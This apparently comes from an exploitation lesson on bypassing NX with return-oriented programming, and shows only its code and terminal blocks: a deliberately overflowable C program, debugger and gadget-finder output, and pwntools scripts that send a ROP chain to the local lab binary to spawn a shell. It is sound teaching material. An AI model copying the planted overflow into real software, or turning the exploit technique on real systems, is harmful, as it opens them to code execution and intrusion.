#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
void vuln() {
char buffer[128];
char * second_buffer;
uint32_t length = 0;
puts("Reading from STDIN");
read(0, buffer, 1024);
if (strcmp(buffer, "Cool Input") == 0) {
puts("What a cool string.");
}
length = strlen(buffer);
if (length == 42) {
puts("LUE");
}
second_buffer = malloc(length);
strncpy(second_buffer, buffer, length);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
puts("This is a big vulnerable example!");
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
42);
write(1, "Writing to STDOUT\n", 18);
vuln();
}gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.cubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ checksec 1_staticnx
[*] '/vagrant/lessons/6_bypass_nx_rop/build/1_staticnx'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ file 1_staticnx
1_staticnx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=18a84fc7499b620b7453b9d37d7ba97dc356d7b2, not stripped
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$#!/usr/bin/python
from pwn import *
def main():
# Start the process
p = process("../build/1_staticnx")
# Craft the payload
payload = "A"*148 + p32(0xdeadc0de)
payload = payload.ljust(1000, "\x00")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload
p.send(payload)
# Transfer interaction to the user
p.interactive()
if __name__ == '__main__':
main()[----------------------------------registers-----------------------------------]
EAX: 0x80f15f8 ('A' <repeats 128 times>, "\370\025\017\b\230")
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x10
EDX: 0x0
ESI: 0x80ee00c --> 0x8069c20 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EDI: 0x3d ('=')
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd5f0 --> 0x0
EIP: 0xdeadc0de
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadc0de
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 --> 0x0
0004| 0xffffd5f4 --> 0x0
0008| 0xffffd5f8 --> 0x0
0012| 0xffffd5fc --> 0x0
0016| 0xffffd600 --> 0x0
0020| 0xffffd604 --> 0x0
0024| 0xffffd608 --> 0x0
0028| 0xffffd60c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadc0de in ?? ()
gdb-peda$0x0804f065 : pop esi ; pop ebp ; retubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx
Gadgets information
============================================================
0x080add78 : aaa ; add esp, 4 ; pop ebx ; pop esi ; ret
0x080706c8 : aaa ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080bbca9 : aaa ; push 1 ; push 1 ; call eax
... snip ...
0x08091a7c : xor esi, esi ; ret 0xf01
Unique gadgets found: 12307eax = 0xb
ebx = "/bin/sh"
ecx = memory address -> 0
edx = memory address -> 0ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx --ropchain
... snip ...
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8050fb5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048453 pop esi ; ret
[+] Gadget found: 0x80484a0 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x805495b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x807299a pop edx ; ret
[+] Gadget found: 0x80bbb46 pop eax ; ret
[+] Gadget found: 0x80493e3 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80493e3 xor eax, eax ; ret
[+] Gadget found: 0x807e1df inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481d1 pop ebx ; ret
[+] Gadget found: 0x80e2fc9 pop ecx ; ret
[+] Gadget found: 0x807299a pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x8070605 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0807299a) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080bbb46) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807299a) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080bbb46) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807299a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080e2fc9) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x0807299a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x0807e1df) # inc eax ; ret
p += pack('<I', 0x08070605) # int 0x80#!/usr/bin/python
from pwn import *
from struct import pack
# Padding goes here
rop = ''
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee060) # @ .data
rop += pack('<I', 0x080bbb46) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee064) # @ .data + 4
rop += pack('<I', 0x080bbb46) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x080481d1) # pop ebx ; ret
rop += pack('<I', 0x080ee060) # @ .data
rop += pack('<I', 0x080e2fc9) # pop ecx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x08070605) # int 0x80
def main():
# Start the process
p = process("../build/1_staticnx")
# Craft the payload
payload = "A"*148 + rop
payload = payload.ljust(1000, "\x00")
# Send the payload
p.send(payload)
# Transfer interaction to the user
p.interactive()
if __name__ == '__main__':
main()ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$ python 2_ropexploit.py
[+] Starting local process '../build/1_staticnx': Done
[*] Switching to interactive mode
This is a big vulnerable example!
I can print many things: deadbeef, Test String, 42
Writing to STDOUT
Reading from STDIN
$ ls -la
total 16
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 12 20:31 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 ..
-rw-rw-r-- 1 ubuntu ubuntu 422 Jan 12 06:03 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu 1897 Jan 12 20:31 2_ropexploit.py
$
[*] Stopped program '../build/1_staticnx'
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ropper --file 1_staticnx --chain execve
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] ROPchain Generator for syscall execve:
[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null
[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget
[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # 1_staticnx
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
rop += rebase_0(0x000a6060)
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
rop += rebase_0(0x000a6064)
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000036ca) # 0x0804b6ca: pop dword ptr [ecx]; ret;
rop += p(0x00000000)
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
rop += rebase_0(0x000a6068)
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase_0(0x000a6060)
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
rop += rebase_0(0x000a6068)
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
rop += rebase_0(0x000a6068)
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
print rop
[INFO] rop chain generated!